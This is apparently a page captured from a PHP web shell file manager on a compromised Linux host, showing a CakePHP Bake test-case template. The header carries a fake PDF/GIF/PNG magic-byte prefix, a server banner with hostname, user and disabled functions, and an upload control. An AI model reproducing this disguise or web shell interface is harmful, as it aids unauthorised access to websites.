%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/public_html/vendor/cakephp/bake/src/Template/Bake/tests/ |
Upload File : |
{#
/**
* Test Case bake template
*
* CakePHP(tm) : Rapid Development Framework (http://cakephp.org)
* Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
*
* Licensed under The MIT License
* For full copyright and license information, please see the LICENSE.txt
* Redistributions of files must retain the above copyright notice.
*
* @copyright Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
* @link http://cakephp.org CakePHP(tm) Project
* @since 2.0.0
* @license http://www.opensource.org/licenses/mit-license.php MIT License
*/
#}
{% set isController = type|lower == 'controller' %}
{% set isShell = type|lower == 'shell' %}
{% if isController %}
{%- set superClassName = 'IntegrationTestCase' %}
{% elseif isShell %}
{%- set superClassName = 'ConsoleIntegrationTestCase' %}
{% else %}
{%- set superClassName = 'TestCase' %}
{% endif %}
{%- set uses = uses|merge(["Cake\\TestSuite\\#{superClassName}"]) %}
{%- set uses = uses|sort %}
<?php
namespace {{ baseNamespace }}\Test\TestCase\{{ subNamespace }};
{% for dependency in uses %}
use {{ dependency }};
{% endfor %}
/**
* {{ fullClassName }} Test Case
*/
class {{ className }}Test extends {{ superClassName }}
{
{% if properties %}
{% for propertyInfo in properties %}
/**
* {{ propertyInfo.description }}
*
* @var {{ propertyInfo.type }}
*/
public ${{ propertyInfo.name }}{% if propertyInfo.value is defined and propertyInfo.value %} = {{ propertyInfo.value }}{% endif %};
{% endfor %}
{% endif %}
{%- if fixtures %}
/**
* Fixtures
*
* @var array
*/
public $fixtures = [{{ Bake.stringifyList(fixtures|values)|raw }}];
{% endif %}
{%- if construction %}
/**
* setUp method
*
* @return void
*/
public function setUp()
{
parent::setUp();
{% if preConstruct %}
{{ preConstruct|raw }}
{% endif %}
$this->{{ (subject ~ ' = ' ~ construction)|raw }}
{% if postConstruct %}
{{ postConstruct|raw }}
{% endif %}
}
/**
* tearDown method
*
* @return void
*/
public function tearDown()
{
unset($this->{{ subject }});
parent::tearDown();
}
{% endif %}
{%- for method in methods %}
/**
* Test {{ method }} method
*
* @return void
*/
public function test{{ method|camelize }}()
{
$this->markTestIncomplete('Not implemented yet.');
}
{% endfor %}
{%- if not methods %}
/**
* Test initial setup
*
* @return void
*/
public function testInitialization()
{
$this->markTestIncomplete('Not implemented yet.');
}
{% endif %}
}